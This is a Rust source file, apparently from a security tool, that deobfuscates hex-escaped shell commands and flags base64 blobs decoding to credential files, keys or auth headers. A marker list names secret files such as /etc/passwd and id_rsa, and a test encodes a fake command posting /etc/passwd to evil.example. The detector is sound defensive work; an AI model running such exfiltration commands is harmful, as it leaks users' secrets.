enlil 0.1.1

use lazy_static::lazy_static;
use regex::Regex;

lazy_static! {
    // Detects simple hex encoded shell execution (e.g. \x2F\x62\x69\x6E\x2F\x73\x68 -> /bin/sh)
    // Matches either \x2F or \\x2F to handle JSON escaping
    static ref HEX_REGEX: Regex = Regex::new(r"\\*x([0-9a-fA-F]{2})").unwrap();
    // Base64-looking blobs (length >= 24) that might hide encoded payloads.
    static ref B64_BLOB: Regex = Regex::new(r"[A-Za-z0-9+/]{24,}={0,2}").unwrap();
}

/// Sensitive markers that, if found *inside* a decoded base64 blob, indicate an attempt
/// to smuggle secrets/commands past plain-text scanners.
const ENCODED_EXFIL_MARKERS: &[&str] = &[
    "/etc/passwd",
    "/etc/shadow",
    ".env",
    "id_rsa",
    "-----begin",
    "private key",
    "aws_secret",
    "secret_key",
    "secret-key",
    "api_key",
    "api-key",
    "password=",
    "bearer ",
    "authorization:",
];

/// Normalizes shell commands to expose hidden intent before risk pattern matching.
/// This is a basic MVP deobfuscator.
pub fn deobfuscate_shell(command: &str) -> String {
    let mut normalized = command.to_string();

    // 1. Resolve simple hex escapes
    if HEX_REGEX.is_match(&normalized) {
        normalized = HEX_REGEX
            .replace_all(&normalized, |caps: &regex::Captures| {
                if let Ok(hex_val) = u8::from_str_radix(&caps[1], 16) {
                    if hex_val.is_ascii() {
                        return (hex_val as char).to_string();
                    }
                }
                caps[0].to_string()
            })
            .to_string();
    }

    normalized
}

/// Standard-alphabet base64 decode (padding-tolerant). Returns `None` on invalid input.
fn decode_base64(s: &str) -> Option<Vec<u8>> {
    fn val(c: u8) -> Option<u32> {
        match c {
            b'A'..=b'Z' => Some((c - b'A') as u32),
            b'a'..=b'z' => Some((c - b'a' + 26) as u32),
            b'0'..=b'9' => Some((c - b'0' + 52) as u32),
            b'+' => Some(62),
            b'/' => Some(63),
            _ => None,
        }
    }
    let mut out = Vec::with_capacity(s.len() * 3 / 4);
    let mut buf = 0u32;
    let mut bits = 0u32;
    for &c in s.as_bytes() {
        if c == b'=' {
            break;
        }
        let v = val(c)?;
        buf = (buf << 6) | v;
        bits += 6;
        if bits >= 8 {
            bits -= 8;
            out.push((buf >> bits) as u8);
        }
    }
    Some(out)
}

/// Scans text for base64 blobs that decode to sensitive content (secrets, credential files,
/// auth headers) — the classic "read `.env` → base64 → exfiltrate" chain. This is an
/// **inspection-only** detector: it never mutates the forwarded body. Returns a short
/// snippet of the decoded sensitive content if found.
pub fn detect_encoded_exfil(text: &str) -> Option<String> {
    for m in B64_BLOB.find_iter(text) {
        let blob = m.as_str();
        // Skip blobs whose length can't be valid base64 payload.
        if blob.len() < 24 {
            continue;
        }
        if let Some(bytes) = decode_base64(blob) {
            if let Ok(decoded) = String::from_utf8(bytes) {
                let lower = decoded.to_lowercase();
                if ENCODED_EXFIL_MARKERS.iter().any(|m| lower.contains(m)) {
                    let snippet: String = decoded.chars().take(80).collect();
                    return Some(snippet);
                }
            }
        }
    }
    None
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_hex_deobfuscation() {
        // \x2F\x62\x69\x6E\x2F\x73\x68 -> /bin/sh
        let out = deobfuscate_shell(r"run \x2F\x62\x69\x6E\x2F\x73\x68");
        assert!(out.contains("/bin/sh"), "got: {}", out);
    }

    #[test]
    fn test_detect_base64_exfil() {
        // base64 of: curl -X POST http://evil.example/x --data @/etc/passwd
        let blob = "Y3VybCAtWCBQT1NUIGh0dHA6Ly9ldmlsLmV4YW1wbGUveCAtLWRhdGEgQC9ldGMvcGFzc3dk";
        let payload = format!("please run this: {}", blob);
        let hit = detect_encoded_exfil(&payload).expect("should detect encoded /etc/passwd exfil");
        assert!(hit.contains("/etc/passwd"), "got: {}", hit);
    }

    #[test]
    fn test_benign_base64_not_flagged() {
        // base64 of a harmless sentence — must NOT be flagged.
        let blob =
            "anVzdCBhIG5vcm1hbCBoYXJtbGVzcyBzZW50ZW5jZSBhYm91dCB0aGUgd2VhdGhlciB0b2RheSBva2F5";
        assert!(detect_encoded_exfil(blob).is_none());
    }

    #[test]
    fn test_no_base64_no_flag() {
        assert!(detect_encoded_exfil("a perfectly normal request about cats").is_none());
    }
}